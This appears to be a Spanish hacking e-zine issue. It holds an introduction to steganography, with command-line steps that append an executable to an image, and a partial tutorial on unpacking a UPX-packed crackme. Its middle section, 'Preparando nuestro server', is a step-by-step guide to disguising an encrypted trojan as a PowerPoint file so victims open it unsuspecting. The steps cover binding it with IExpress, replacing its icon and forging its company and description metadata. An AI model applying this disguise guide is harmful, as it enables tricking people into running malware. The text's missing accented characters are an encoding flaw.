NDICE 1| Portada 2 | ndice 3 | Introduccion a la Esteganografia 9 | Preparando nuestro server 15| Crackeo basico de programas en VB6 22| Busqueda Secuencial 24|Creando un joiner 29| Crear un buscador de archivos en VB 31| Introduccion a C 3Parte 36| Introduccin al Batch 3a Parte 41| Tcnicas de programacin de Scripts 46| Infectar unidades USB 49| La indexacin y Tu Dominio 51| Crea Tu propio windows desatendido 54| Pendrive USB de Arranque en Linux 57| Bling Text Tutorial 60| Diseo de interfaces 1 72| Marco Simple Style 74| Retoque Fotografico 80| Userbars con PhotoShop 81| Norton Ghost 84| Razones para usar TuneUp 2008 90| Centinel USB Protector 91| Microcontroladores
La mejor edicin de la CUH e-zine, la ms completa y la ms trabajada, enhorabuena a todos los miembros que han aportados su granito de arena a este gran proyecto que naci con RuB, y que se ha extendido hasta hoy con el mximo trabajo de Aleks que se ha encargado de organizar todo. No tengo palabras para describir esta edicin con una informacin de primera, ms quisieran muchas comunidades poder hacer esta e-zine Yo me despido por ahora del proyecto de la e-zine que no s si continuar, espero que s pero ser con otras personas, lo que espero es que aleks contine ya que hace un grandsimo trabajo y lo hace muy bien. Gracias por todo aleks en nombre de todos y gracias tambin a todos los usuarios que han colaborado en esto y lo han hecho posible. Muchas gracias por seguir estas series de ediciones. Ha sido un honor pertenecer a esto, un gran abrazo RuB Introduccion a la Esteganografia CUH e-zine 4 edicin
La esteganografa actualmente es conocida por la sociedad y en la seguridad de las Tecnologas de la Informacin en general, debido a muchos rumores (falsos o no), que corrieron despus de los atentados del 11 de septiembre sobre la ciudad de nueva york, se deca que los terroristas usaban esta tcnica de ocultacin de datos para comunicarse internamente y as planear supuestos futuros atentados, debido a ello se llevo una campaa de investigacin en toda Norteamrica y en el mundo en general para comprobar la veracidad de lo que se deca, se crearon programas y aplicaciones capaces de hacer anlisis sobre muchos tipos de archivos y que hacen el proceso muy veloz (a pesar de que el proceso de anlisis se hace bit a bit), teniendo en cuenta la cantidad de imgenes que circulan en internet es tan voluminosa es una larga, tediosa y ardua labor, y aunque muchos cientficos han aunado fuerzas en ello, al parecer no se han obtenido muy buenos resultados, a pesar de que una gran cantidad de personas se han visto involucradas en ello y se han dedicado miles de horas, lo que su queda muy claro es que pocas luces se han visto y se vern sobre el asunto. Lo cierto es que esta tcnica si existe y en la actualidad hay muchas tcnicas y herramientas tanto de anlisis, como de ocultacin de los datos dentro de imgenes y sobre otro tipo de archivos digitales o computacionales. La esteganografa ha sido un tpico al cual no se le ha dedicado el trato que mereciera, por mucha gente del campo de la seguridad de las Tecnologas de la Informacin, la mayora de las personas no la ven como un potencial ataque, pero es debido a la ignorancia que la gente tiene sobre el asunto. As empieza ese artculo que antes de intentar ser algo avanzado sobre las tcnicas estaganogrficas y de estegoanlisis, solo es una ilustracin y una introduccin a este tipo de tcnicas de ocultacin y deteccin de datos incrustados dentro de otros datos
Esteganografa
Palabra que aunque suena muy cool y moderna es muy antigua y proviene del griego, su sentido etimolgico es: "steganos" (secreto) y "grafa" (escrito) escritura secreta, arte o ciencia de ocultar mensajes dentro de otros mensajes sin que el mensaje contenedor (cubierta o estegomedio) se vea afectado y lo mas importante: que su presencia no sea evidente, ni detectada. Johannes Trithemius, escribi el primer libro impreso de criptologa (Al final del articulo hay una referencia). l invent una cifra esteganogrfica en la cual cada letra era representada como una palabra obtenida de una sucesin de columnas. Al final se ve una nota sobre este oscuro personaje
Esta tcnica para ocultar mensajes y datos, es muy antigua y han sido mltiples las formas de hacerlo: en la antigua Grecia se escriban los mensajes en tablas de madera luego eran cubiertas de cera para que simulara no haber tenido uso alguno, Herodoto cuenta que era muy comn el uso de tatuajes en el cuero cabelludo de los esclavos que eran usados como mensajes vivientes, de forma que cuando el cabello creca se ocultaba el mensaje, tambin se usaron tintas invisibles en las partes en vacas de los mensajes, modernamente se usaron los microfilms, los cuales eran tan pequeos que podan simular ser un punto de un mensaje en un papel, en fin han sido variadas las tcnicas de la ocultacin de los mensajes, todo ello debido a que los mensajeros eran interceptados y descubiertos, se puede decir que su uso ha sido mayormente blico. Hoy en da se usa esta tcnica en la informtica, y se hace incrustando el mensaje dentro de archivos digitales, la tcnica vara segn el tipo de archivo que sea utilizado como medio, conocido como esteganomedio, los archivos son los de tipo multimedia como son imgenes, videos y archivos de msica, debido a su volumen y su estructura interna.
No hay que confundir la esteganografa con criptografa y aunque su objetivo es similar, ya que ambas tratan de proteger informacin sensible, en la criptografa no se trata de ocultar del mensaje sino de hacerlo ilegible para quien no est al tanto de la clave. La esteganografa pretende ser lo que la criptografa no es, la cual trata de evitar la deteccin del mensaje, entonces si contamos con un buen algoritmo aseguramos que nadie pueda detectar la informacin que se pretende ocultar, otra cosa importante, es que debemos contar siempre con el espacio adecuado para hacerlo en el estegomedio, ya que si el mensaje es mas grande que el contenedor, habr muchas posibilidades de que el mensaje sea descubierto, entonces es donde debemos combinar la esteganografa con la criptografa, y de esta forma asegurarnos de que, por mas de que el mensaje oculto haya sido detectado, al estar cifrado pueda llegar a ser muy difcil descifrar el mensaje oculto.
La esteganografa puede utilizarse en solitario para simplemente disimular los datos, o combinarse con la criptografa, de tal manera que los datos que se oculten, estarn encriptados, por lo que si son descubiertos, al menos no se acceder fcilmente a la informacin protegida. Actualmente existen herramientas estaganogrficas gratuitas disponibles para distintas plataformas tales como: F5 que fue desarrollada por Andreas Westfield (toda una eminencia en el ramo) la cual asigna una imagen por su ruta y despus determina el camino a seguir de la informacin que se va a ocultar, MP3Stego es una herramienta Introduccion a la Esteganografia CUH e-zine 4 edicin
que esconde datos en archivos .mp3 su tcnica consiste en juntar un archivo de texto con uno .wav y transformarlo en un archivo .mp3, Steganos permite encriptar y esconder archivos, el usuario selecciona un archivo o flder a esconder, y despus el lugar donde desea integrarlo. Imaginemos el caso de una persona que ha detectado movimientos fraudulentos o ilcitos en alguna entidad, bien sea gubernamental o privada, como podra arriesgarse a contar, o a denunciar esto a travs de Internet, sin que su intimidad y hasta su propia seguridad se vea afectada. Es aqu donde se hace fundamental el conocimiento y manejo de las distintas tcnicas de ocultamiento de datos y los principales medios usados para ello. Es por ello que se hace indispensable conocer la estructura, las caractersticas y el uso de los diferentes formatos de archivos multimedia mas usados para esta prctica, a continuacin veremos las caractersticas de algunos de los formatos ms usados para las tcnicas estaganogrficas, pero ser algo muy superficial a modo de referencia ya que nos centraremos en el formato bmp, por su sencillez y por la forma de su estructura.
Formato .JPG Son las inciales del grupo que desarrollo su algoritmo (Joint of Photographic Experts Group). Es uno de los formatos mas usados en la red, y en las tecnologas de la informacin. Ya que permite comprimir imgenes con una escasa prdida de calidad y bajo peso, usado generalmente para almacenar imgenes fotogrficas, tanto en color como en escala de grises, mientras los formatos .gif y .png se comportan mejor con imgenes grficas. El formato JPEG soporta 16,7 millones de colores (24 bits), es el mejor formato para fotografas digitalizadas, texturas, transiciones de color o degradados o cualquier imagen que requiera ms de 256 colores, su algoritmo de compresin elimina informacin de la imagen, mientras mas compresin, menor calidad y menor peso del archivo. Formato .GIF Son las siglas de Graphics Interchange Format creado por Compuserve en junio de 1987, un formato de compresin de imagen limitado a 256 colores, emplea el algoritmo de compresin LZW (Lempel Ziv Welch) (consistente en no detectar slo las repeticiones de un color, sino en detectar las repeticiones de ciertas secuencias) este algoritmo esta patentado. La forma ms sencilla de reducir el tamao de un archivo GIF es disminuir el nmero de colores, es ideal para grficos, dibujos, iconos o imgenes de muy pocos color o con grandes reas del mismo color, es bueno casi para todo tipo de imgenes especialmente las animaciones, exceptuando las imgenes fotogrficas, tambin soporta transparencias -la parte transparente se adapta al color del fondo donde se coloca, se puede almacenar de forma entrelazada carga cada cuatro lneas lo que hace que la imagen e visualice mientras se va cargando. La estructura de todo fichero GIF est basada en bloques, y contiene informacin sobre la imagen como tal: instrucciones acerca de cmo exhibirla, informacin caracterstica de la aplicacin con que se creo, un marcador que determina el final del archivo, la paleta de colores, etc. Los ficheros GIF utilizan el modo de color indexado, pudiendo trabajar con dos paletas diferentes, una global y otra local, la paleta global determina los colores de todas las imgenes almacenadas en el GIF (puede haber varias en un mismo fichero), mientras que la local determina especficamente la paleta de cada imagen del GIF (en el caso de haber una sola imagen, la nica paleta disponible ser la global). Fomato .PNG El formato PNG (Portable Network Graphic) es un formato de mapa de bits de libre distribucin, vlido para PC y MAC y LINUX, naci como alternativa a los formatos GIF y JPG, es de propiedad de la empresa Unisys Corporation, PNG utiliza un esquema de compresin sin prdidas para reducir el tamao del archivo, manteniendo intacta la calidad original de la imagen. Puede trabajar en modo Escala de Grises (con un canal alfa), en modo Color Indexado (8 bits, hasta 256 colores, paletas de colores) y en modo RGB (24 bits, 16,8 millones de colores y 48 bits, con 24 bits para canales alfa), por lo que admite 256 niveles de transparencia. Las transparencias conseguidas con PNG son de mayor calidad que las del formato GIF, ya que, al trabajar con ms colores, genera transparencias sin bordes pixelados. Tambin permite imgenes entrelazadas, pero no soporta animaciones.
Formato .BMP
Uno de los estegomedios ms comunes son las imgenes de BitMaps o archivos Bmp, los cuales son un formato estndar de imagen de mapa de bits en sistemas operativos DOS, Windows y vlido para MAC y PC, se soportan imgenes de 24 bits (millones de colores), 8 bits (256 colores), puede trabajar en escala de grises, RGB y CMYK. Los archivos de mapas de bits se componen de direcciones asociadas a cdigos de color, uno para cada cuadro en una matriz de pixeles, soportan compresin RLE sin prdida de calidad, tal como se esquematizara el tpico colorea la imagen, donde cada segmento en blanco esta marcado por un numero que a su vez le pertenece un color, como se aprecia en la imagen.
Introduccion a la Esteganografia CUH e-zine 4 edicin
Una de sus caractersticas es su excesivo uso de espacio en disco, aunque posee un buen nivel de calidad, al ser re-escalados a un tamao mayor, se pierde calidad, cada pixel puede ocupar 1 o varios bytes, ello depende de la profundidad de color, pueden ser transformados en otros formatos, como JPEG, GIF o PNG. Es de notar que todos archivos digitales siempre comienzan con una cabecera o header la cual lo identifica, adems de contener la informacin bsica del mismo, todos los .bmp empiezan con las letras 'BM' o su equivalente en hexadecimal (0x42 0x4D), que es el que lo identifica con el programa con que se visualizar o editar la imagen, en la cabecera tambin se incluyen las caractersticas generales de la imagen como son : tamao, nmero de colores , paleta de colores (si es requerida), y con cuntos bytes se representa el color de cada pixel, otra caracterstica especial de este formato es que comienza a leerse desde abajo a arriba, o sea, en una imagen en 24 bits los primeros 3 bytes corresponden al primer pixel inferior izquierdo. incluye informacin para posicionarnos en la codificacin de los pixeles de la imagen. Dependiendo de la resolucin de la imagen, los pixeles pueden estar codificados de diferentes formas: 1,4,8,16,24,32 Bits X Pixel. Por ejemplo, en una resolucin tpica, de 24 Bits X Pixel, cada pixel de la imagen se representa
con 3 Bytes, o sea que se usa un byte para el rojo (Red) , un byte para el verde (Green) y un byte para el azul (Blue), modo RGB.
Estructura de la cabecera de un archivo .BMP
Bytes Informacin 0, 1 Tipo de fichero "BM" 2, 3, 4, 5 Tamao del archivo 6, 7 Reservado 8, 9 Reservado 10, 11, 12, 13 Inicio de los datos de la imagen 14, 15, 16, 17 Tamao de la cabecera del bitmap 18, 19, 20, 21 Anchura (pxels) 22, 23, 24, 25 Altura (pxels) 26, 27 Nmero de planos 28, 29 Tamao de cada punto 30, 31, 32, 33 Compresin (0=no comprimido) 34, 35, 36, 37 Tamao de la imagen 38, 39, 40, 41 Resolucin horizontal 42, 43, 44, 45 Resolucin vertical 46, 47, 48, 49 Tamao de la tabla de color
La tcnica EOF consiste en aadir un archivo que contendr los datos que vamos a ocultar, al final de otro archivo el cual nos servir de medio o cubierta, hay muchos formatos de archivo que permiten esta tcnica sin alterar su correcto funcionamiento, los formatos mas conocidos son los siguientes: .ppt, .wav, .mp3, .jpg, .png, exe, .doc , .gif, .bmp, aunque la tcnica conocida es muy conocida (Envenenar un archivo) no es una veradera tcnica esteganogrfica como tal y aunque es un poco sosa, pasare a explicar algo que se puede hacer desde lnea de comandos o desde un archivo batch, pero que servir eficazmente como tcnica de ocultacin casera por asi decirlo, ya que es difcil que alguien desapercibido sospeche del mensaje oculto que trae el medio o archivo cubierta, sin embargo para una herramienta de estegoanlisis ser algo fcil de detectar, ya que es una de las primeras partes que se analizan de un archivo el famoso EOF, y es un tpico o patrn usado por este tipo de aplicaciones de anlisis forense. Existen diversas formas para hacer esto y son muy sencillas, algunas solo requieren un par de lnea directamente desde el intrprete de comandos, existen un comando en Windows que no pueden servir para efectuar la tcnica EOF, con los comandos type y copy /b acompaado del parmetro /b (Copiar de forma binaria) se pueden fundir dos archivos o mas, para llevar a cabo el siguiente ejemplo necesitaremos cuatro archivos, una imagen .gif, tres archivos de texto y un ejecutable, cabe decir que solo la cabecera del primer archivo agregado (esto en caso de que el archivo no exista - o sea que o crearemos nosotros de cero-) , pero si lo que vamos a hacer es unir mas archivos a uno ya existente, ser la cabecera del archivo en el que ocultaremos nuestros datos la que define que programa estar asociada al archivo final. Para el ejemplo nos vamos al disco local C: y creamos la carpeta temporal Prueba all metemos los archivos que vamos a fundir para ocultar nuestros datos
El archivo Marca.txt contendr un texto que servir de marca para poder identificar los archivos (cualquier marca nos servir en mi caso he usado la cadena de caracteres <--|||-->), el Archivo texto.txt contendr el texto a ocultar (en mi caso he usado la siguiente cadena: Azmodeo:resU-142tiamat364:ssaP, el archivo mascara es opcional y se usa para aadir contenido al archivo y hacer mas difcil la forma de encontrar el los datos que vamos a ocultar (en mi caso le he puesto la parte del texto de un archivo ejecutable, el archivo centinel.exe es opcional y lo uso para demostrar que se pueden meter mltiples archivos dentro de otro, incluyendo ejecutables, la cuestin es poder ser capaz de separarlos y hacerlos legibles por las aplicaciones que los lanzarn, y la clave para ello el uso de la marca.
Ahora abrimos el cmd.exe y nos ubicamos en c:\prueba y empezamos escribiendo algo asi:
type 1.jpg > medio.gif type marca.txt >> medio.gif type texto.txt >> medio.gif type marca.txt >> medio.gif type mascara.txt >> medio.gif type marca.txt >> medio.gif type centinel.exe >> medio.gif Introduccion a la Esteganografia CUH e-zine 4 edicin
type marca.txt >> medio.gif type mascara.txt >> medio.gif
Si notan que en la primer sentencia enviamos los datos de el archivo 1.jpg a 1.gif sin que se dae el archivo permitindolo editar normalmente con un editor de imgenes, sin embargo su cabecera es la de un .jpg, como el archivo original. Entonces tenemos el archivo final Medio.jpg, que es el que contiene nuestros distintos datos ocultos, lo lgico seria abrir el archivo Medio.jpg con el Notepad.exe y buscar las marcas para poder extraer las distintas partes que conforman nuestros archivos ocultos, si abriramos un nuevo documento con el Notepad.exe, y pegramos cada archivo por separado, pensaramos que podramos guardar cada archivo con su extensin original y de esta forma poder abrir normalmente los mismos, es un craso error; es aqu donde se hace necesario usar un editor hexadecimal para reutilizar uno a uno nuestros archivos correctamente, en mi caso usaremos el HexEditor
Para evitar desastres duplicamos el archivo Medio.jpg y abrimos la copia, en este caso Medio2.jpg
Empezamos a ubicar la primera marca para extraer el texto oculto
Las marcas las he resaltado de amarillo y el texto con rojo, ahora nos posicionamos en el primer carcter de la marca, en este caso el carcter < y seleccionamos hacia arriba todo los caracteres, cortamos (CTRL+X) la seleccin quedando la primer parte del archivo algo asi:
Asi excluimos la imagen jpg que era la que posea la cabecera del arhivo Medio2.gif, ahora extraemos el texto que nos atae, en este caso el user y el pass, al mas puro estilo reto hack, para ello lo hacemos igual, nos posicionamos en el siguiente carcter de la segunda marca, seleccionamos el texto hacia arriba
Cortamos de nuevo, esta vez pegamos el texto en algn editor de texto, ahora extraeremos la mascara, que solo sirve para camuflar
La marca tambin la extraemos, buscamos la siguiente marca y extraemos el resto, dejando solo la estructura del ejecutable, que al final de este ejemplo es el que nos vale, de igual forma podremos meter mltiples archivos y si hacemos bien todo podremos extraerlos todos, por otro lado tambin podramos juntar dos imgenes u otros archivos, y para poder habilitarlos uno a uno, solo debemos extraer el archivo por partes, de esta manera, si extraemos el primer archivo y las marcas y guardamos el archivo con la extensin que le corresponde, el archivo seguir conteniendo a los otros y no se daar.
Como para el ejemplo lo que queramos era extraer el texto oculto y el ejecutable procedemos a guardarlo como tal, en mi caso Centinel2.exe
Introduccion a la Esteganografia CUH e-zine 4 edicin
Explicare otro ejemplo esta vez solo con dos imgenes, la marca y un ejecutable, en este caso 1.jpg, 30f.gif, centinel.exe para ello escribiremos en una sola lnea lo siguiente:
Esta vez solo veremos como habilitar la segunda imagen, extrayendo el primer archivo y la marca no mas, el ejecutable lo dejaremos oculto en el medio para despus XD.
Guardamos el archivo como .gif y listo, esto no es nada del otro mundo, pero puede sirve como tcnica EOF, a la hora de ocultar nuestros archivos o datos. Hay algunos que creen que con el comando copy se puede hacer algo similar, pero la verdad es que este comando modifica las cabeceras del archivo resultante, daando las asociaciones del mismo, al fin como siempre digo: es cuestin de experimentar un poco!
Una de las buenas herramientas que he descubierto es una que funciona online y se llama Cryptimg aqu les dejo una referencia de ella:
Cryptimg es una herramienta con la que podemos guardar un mensaje de texto encriptado dentro de una imagen. El procedimiento para realizar esto es muy simple: subimos cualquier imagen y/o fotografa, ingresamos una contrasea y finalmente escribimos nuestro mensaje secreto. Despus de realizar los pasos anteriores, solo debemos enviar la imagen a nuestro receptor junto con la clave y el deber realizar el procedimiento inverso para descifrarla. O sea, subir de nuevo la imagen a Cryptimg, escribir la contrasea y presionar el botn Descodificar y automticamente se desencriptar el mensaje. Tambin existen muchsimas herramientas desarrolladas en distintos lenguajes que nos permiten diferentes funciones, pero la descripcin de ellas queda para otra ocasin, ya que ellas requiere una explicacin detallada sobre las caractersticas y funciones esenciales. Pero la mejor y mas comn de las tcnicas en la esteganografa, es la tcnica sustitutiva del Bit Menos Significativo LSB (Least Siginificant Bit), en la cual se sustituye el bit mas a la derecha del byte (el cual no tiene mayor relevancia) de un byte especifico, en contraposicin del Byte Mas Significativo MSB (Most Significnt Bit)
Bit Mas Significativo de un Byte BMS
Bit Menos Significativo de un Byte LBS
Por lo tanto se hace necesario conocer la estructura interna de cada uno de los archivos multimedia, para as mismo poder elegir una tcnica esteganogrfica que sea aplicable y que no dae el archivo ni que le produzca cambios perceptibles por los seres humanos. Como dije anteriormente por su sencillez se ha elegido el formato .BMP como ejemplo para trabajar en este articulo, otra ventaja del formato es la posibilidad de utilizar cualquier bit de la codificacin de pixeles de un archivo para ocultar datos, pero el ruido visual seria muy obvio para los bits de mayor peso. La tcnica sustitutiva LSB depende del estegomedio elegido, por ejemplo en el formato JPEG se sustituirn los bits de los coeficientes cuantificados o DCTs, en el formato BMP: se sustituirn los bits de la codificacin Introduccion a la Esteganografia CUH e-zine 4 edicin
de los pixeles de la imagen, en el formato GIF: se sustituiran los bits de los ndices que direccionan a la paleta de colores, solo por nombrar algunos. La tcnica de sustitucin se basa en la modificacin de los bits menos significativos, de la codificacin de los pixeles de una imagen .bmp, se puede aplicar a los pixeles de la forma que se desee, de forma secuencial, aleatoria, combinado ambas, etc. Por ejemplo en una imagen de 24 Bits X Pixel 3 Bytes, se podra ocultar informacin en su octeto de Verde, de esta forma los mtodos puedes llegar a ser muy variados. Una de las razones por la que el formato .bmp es un buen estegomedio es por su peso, lo cual facilita la labor para aplicar esta tcnica ya que causa muy poco ruido visual ya que solo se modifican los bytes de la codificacin de los pixeles y es my difcil que el ojo humano alcance a apreciar dichos cambios. Estegoanlisis La estegoanlisis es la tcnica de detectar, los tcnicas estaganogrficas aplicadas a una imagen. Saber identificar correctamente el tipo de formato al que pertenece un archivo, es el primer paso que debe tomar el analista para catalogar el archivo adecuadamente y de esta forma poder aplicar una eficaz tcnica estegoanaltica que lo lleve a detectar el programa o la tcnica usada para el ocultamiento del mensaje o los datos en cuestin. Es cierto tambin que el objetivo de la estegoanlisis no es descifrar los datos, eso ya es otro cuento, lo importante es poder determinar si en una imagen hay algn tipo de esteganografa, la tcnica usada y el tamao del mensaje o dato oculto. En la actualidad existen muchos programas de esteganografa unos gratuitos otros no, pero la mayora siguen unos patrones y es all donde entra la labor del analista, el cual debe ser capaz de identificar dichos patrones (las cuales pueden ser transformadas en marcas perceptibles por el analista) que quedan en las imgenes despus de ser sometidas a esteganografa, bien sea manualmente o por parte de las aplicaciones especializadas para ello. Son estos patrones los que deben ser tenidos en cuenta al hacer un anlisis o bien sea a la hora de crear aplicaciones o programas de estegoanlisis. Un concepto errneo seria afirmar que la sustitucin aleatoria no produce cambios medibles dentro de la estructura del archivo, y se ha demostrado que al aplicar una tcnica sustitutiva LSB sobre los pixeles de una imagen, sin importar la forma en que se escojan los pixeles que se sustituirn, siempre quedan rastros que pueden llegar a ser seguidos por los analistas, entre mas grande sea el mensaje igualmente sern son las huellas dejadas por la tcnica sustitutiva. Tcnicas estegoanalticas Algunas de las tcnicas mas usadas son los llamados ataques visuales, las actales herramientas de estegoanlisis poseen funciones que por medio de filtros especiales muestran visualmente la presencia de informacin oculta, (dependiendo lgicamente de el formato de la imagen) los resultados la mayora de las veces son evidentes a simple vista, al aplicar LSB de forma secuencial sobre alguna zona de los pixeles de la imagen y si se somete a un proceso de ataque visual se observaran fcilmente dichos cambios en la imagen, otro tipo de tcnicas usadas para el anlisis son los algoritmos estadsticos, quienes determinan la mayora de las veces, el tipo de herramienta usada para ocultar la informacin dentro de una imagen o archivo, en algunos caso se debe utilizar el estegomedio en mas de un 97% tal como ocurre en el caso del Algoritmo ChiSquare, tambin cuando los datos son almacenados de forma aleatoria se recurre al algoritmo llamado RS, estos ataques se pueden aplicar a muchos de los distintos formatos grficos mas conocidos y con diferentes codificaciones especiales para imgenes tipo RGB, hay muchos algoritmos mas, y la forma en que funcionan son todo un tpico, por eso amigos se los dejo para otra ocasin La eleccin del estegomedio es algo indispensable y debe ser nica para cada transferencia. Lo recomendable es usar imgenes de alta resolucin tal como imgenes escaneadas o tomadas con cmaras digitales, tambin las escalas de grises son ideales, entre mas pequea sea la informacin a ocultar menor ser el riesgo de deteccin por parte de analistas o herramientas de estegoanlisis, otra forma es usar varias cubiertas para ocultar informacin de gran envergadura. Johannes von Heydenberg aus Trittenheim/Mosel, o Johannes Trithemius, escribi el primer libro impreso de criptologa. l invent una cifra esteganogrfica en la cual cada letra era representada como una palabra obtenida de una sucesin de columnas. La serie de palabras resultantes sera una oracin legtima. Tambin describi cifras polialfabticas en la forma de tablas de sustitucin rectangulares que, en la poca, ya tenan se hecho patrn. Introdujo la nocin del cambio de alfabetos cada letra. Johannes Trithemius escribi, sin embargo no public, su Steganographia, la cual circul como manuscrito por ms de cien aos, siendo copiada por muchas personas que deseaban extraer los secretos que se pensaba que contena. Espero que les haya gustado el articulo, y es solo una introduccin sobre este rollo de la ocultacin de datos dentro de otros o esteganografa, en la prxima parte de este articulo tratar sobre la forma de ocultar datos con programas hechos para ello, la forma de detectar dichos datos usando aplicaciones de esteganoanalisis y la forma terica o esquemtica para poder hacer aplicaciones de esteganografa o de estegoanlisis, bien sea para ocultar o detectar datos ocultos dentro de otros datos, sobra decir que este articulo es libre, y que se puede: editar, copiar o manipular el contenido sin restricciones. By Aleks Preparando nuestro server CUH e-zine 4 edicin
Una de las preguntas mas comunes al momento de crear y encriptar nuestro server, es como podemos engaar a nuestra victima para que no sospeche al momento de abrir nuestro server. Antes que todo, debemos tener en cuenta que el arte que envuelve a la ingeniera social es muy importante al momento de tratar de conseguir nuestro cometido, pero no entrar en detalle ya que este tema se ha tocado en anteriores e-zines. Lo que haremos es maquillar nuestro server para que no sea tan sospechoso y para ello necesitaremos de las siguientes herramientas:
Server encriptado Presentacin Power Point (.pps) PowerPoint Slide Show Convert Iexpress MiTeC IconFactory Resoucer Hacker eXeScope Utilic una presentacin de Power Point como archivo seuelo ya que a todo el mundo le encanta ver este tipo de archivos, por esta razn es recomendable no usar archivos de imgenes debido a que en el explorador de Windows, el msn y correos electrnicos, pueden pre visualizar imgenes, generando de esta manera sospechas, debido a que el archivo que estamos enviando es de extensin .exe
Bueno, lo primero que vamos a hacer es convertir nuestro archivo lo_mejor.pps en lo_mejor.exe, con el fin de poder utilizar el Iexpress como binder. Como todos saben, el Iexpress es una herramienta propia de Windows que podemos utilizar para unir o juntar dos archivos de extensiones .exe en uno solo tambin de extensin .exe, convirtindose de esta manera en el blinder perfecto, indetectable a los anti virus. Para ello utilizamos un programa llamado PowerPoint Slide Show Converter, aunque existen muchos mas que nos sirve para realizar este tipo de conversin. Abrimos Power Point Slide Show Converter:
Luego veremos el men principal
Seleccionamos Simple Mode y veremos lo siguiente
Lo siguiente que haremos es presionar el botn select del recuadro Source Microsoft Power Point File donde elegiremos nuestro archivo lo_mejor.pps
Ahora solo debemos presionar el botn Make Slide Show para que realice la conversin. Una vez finalizada la conversin presionamos el botn aceptar. Preparando nuestro server CUH e-zine 4 edicin
Al final veras el resultado de tu presentacin de Power Point, en un archivo aplicativo.
Bueno, lo siguiente que haremos es bindear el server encriptado (troyano) con lo_mejor.exe (seuelo).
No entro en detalle sobre la configuracin ya que la info la puedes encontrar en foro.el-hacker.com. El resultado del bindeo es un archivo aplicativo o ejecutable como el siguiente:
Lo siguiente que haremos es buscar el Icono de power point, el cual podremos extraer con un programa muy bueno llamado MiTeC IconFactory
Lo siguiente que haremos es abrir el programa y seleccionar open desde File ubicado en el men principal.
A continuacin ubicaremos la carpeta de Microsoft office para ubicar el icono de Power Point
Le damos doble clic a POWERPNT.EXE y veremos todos los iconos que maneja dicho programa. En este punto debemos seleccionar el icono que deseamos y el de mayor tamao.
Preparando nuestro server CUH e-zine 4 edicin
Lo que haremos ahora es guardar el icono para ser utilizado mas adelante.
El resultado es un archivo con extensin .ico
El siguiente paso es cambiar el icono de nuestro server, ya que el que tiene actualmente corresponde al asignado por el IExpress. Para poder hacer el cambio utilizamos programa conocidos por todos que es el Resoucer Hacker.
Lo que haremos es seleccionar el archivo al que queremos cambiarle el icono, siendo en nuestro caso el server que ya bindeamos y que denominamos como Archivo_IExpress.exe.
Una ves seleccionado el archivo procedemos eliminar la carpeta AVI como lo muestra en la figura.
El siguiente paso consiste en cambiar el icono, asi que debes seleccionar la opcin Replace Resource
Ahora lo que debemos hacer es cambiar el icono actual por el icono de Power Point, para ello oprimimos el botn Open File with new Icon.. y ubicamos el archivo POWERPNT_4.ico
Preparando nuestro server CUH e-zine 4 edicin
Despus solo debemos oprimir Replace
Como vern los iconos ya fueron cambiados y solo queda guardar los cambio con la opcin save as y elegimos guardar sobre el ya existente es decir en Archivo_IExpress.exe.
Como se darn cuenta, saldr un mensaje preguntando si desean remplazar el archivo, al cual debern darle yes. Al final y despus de refrescar la ventana donde se encuentra nuestro server, veremos que su icono a cambiado.
Si detallan el archivo podrn ver datos como Win32 Cabnet Selft-Extractor y Microsoft Corporation,
informacin que levantara sospechas. Para dar solucin a este inconveniente usaremos un programa llamado eXeScope
Lo que debemos hacer es abrir nuestro server con este programa.
Preparando nuestro server CUH e-zine 4 edicin
Ahora lo que haremos es modificar algunos datos para mejorar su aspecto, FileDescription y CompanyName. Lo primero es dar un clic al botn derecho sobre FileDescription, seleccionamos editar y escribimos lo que queramos, por ejemplo Microsoft Office, lo mismo hacemos con CompanyName, al cual lo cambiaremos por Power Point.
Despus de modificarlo veremos algo como
Lo siguiente que haremos es dar en la X para cerrar el programa, pero antes de que se cierra nos pide confirmar el cambio del tamao del archivo al cual le daremos aceptar
Al final obtendremos un archivo mas creble al que debemos cambiarle el nombre por el original de la presentacin de Power Point, lo mejor.
Aclaro que lo mas importante es la Ingeniera Social que usemos con nuestras victimas, aunque un poco de ayuda no est mal. Saludos Angelus_7722 Crackeo bsico de programas en VB6 CUH e-zine 4 edicin
Bueno, en este tuto veremos algo sobre como desempacar apps protegidas con UPX 1.25, adems de tratar con un crackme en VB6 y ver el funcionamiento de algunos programas.
Eleg un crackme de N1l0. Para crackearlo, yo usare estos programas: -Procdump v1.6.2 -OllyDbg v1.10 -PEiD -UPX GUI *opcional -PUPE *opcional Adems necesitaremos: -Un cerebro con IQ de ms de 80 -lpiz/pluma (o algn artefacto para escribir) y papel (o algn lugar donde escribir) -ser hincha del Real (esto es muy importante)
Adems de los programas, supondr que poseen conocimientos (por lo menos bsicos) sobre ingeniera inversa, sobre ensamblador (obviamente) y que han trabajado con el OllyDbg, por esta razn no entrare en explicaciones e ir al meollo del asunto.
As luce el crackme. Podemos suponer a simple vista que fue hecho con VB6, por el icono, adems el titulo del tuto lo dice... xD pero supondremos que no sabemos nada sobre el... ;- ).
Lo abrimos con Ollly y lo que vemos en las apis es basura, aunque ni tanto, veamos la ltima [UPX|Export|<MouduleEntryPoint>], parece que estamos frente a un empacado:
Analizamos con PEiD (siempre debe ser lo primero que hagamos, pero bueno, para que nos familiaricemos un poco con los empacados.), y nos dice:
Desempacando:
-La forma ms rpida, fcil y sencilla: --Encontrando OEP (punto de entrada original):
Cabe destacar que el entrypoint que vemos con el Ollly es el EP del packer (upx en este caso), por consiguiente para desempacar el crackme tendremos que encontrar el OEP real del crackme.
Cargamos el crackme en Ollly, y vemos que el EP del packer (406A81) nos deja en un PUSHAD, lo pasamos (F8/F9) y vemos que algo se mueve a ESI, vamos a registros, en ESP ponemos las opciones y seleccionamos Follow in Dump
Seleccionamos los 4 primeros bytes, que si nos fijamos bien, es lo que contiene EDI, invertido, ponemos un bp (F2) en los bytes que Crackeo bsico de programas en VB6 CUH e-zine 4 edicin
seleccionamos y ponemos a correr (F9).
Dumpeo:
Stack:
Registros:
Al ejecutar caemos en un far jmp a 4011BC (dentro de .code [RO:401000 RS:5000]), as que, si mis clculos son correctos caeremos en el OEP veamos:
Aqu camos con el 1er BP:
Pasando el jmp (F7/F8) llegamos a 4011BC:
Nuestro OEP real que porque lo digo? Fijmonos en el rea sombreada, esta informacin nos dice 2 cosas: que estamos en el OEP tan buscado y que el programa esta escrito en VB, porque? analicemos el OEP de otro programa en VB6:
As caemos en cuenta de que tienen una misma estructura:
Listo, ya tenemos OEP, ahora podemos pasar a desempacar: OEP=4011BC
--Dumpeando:
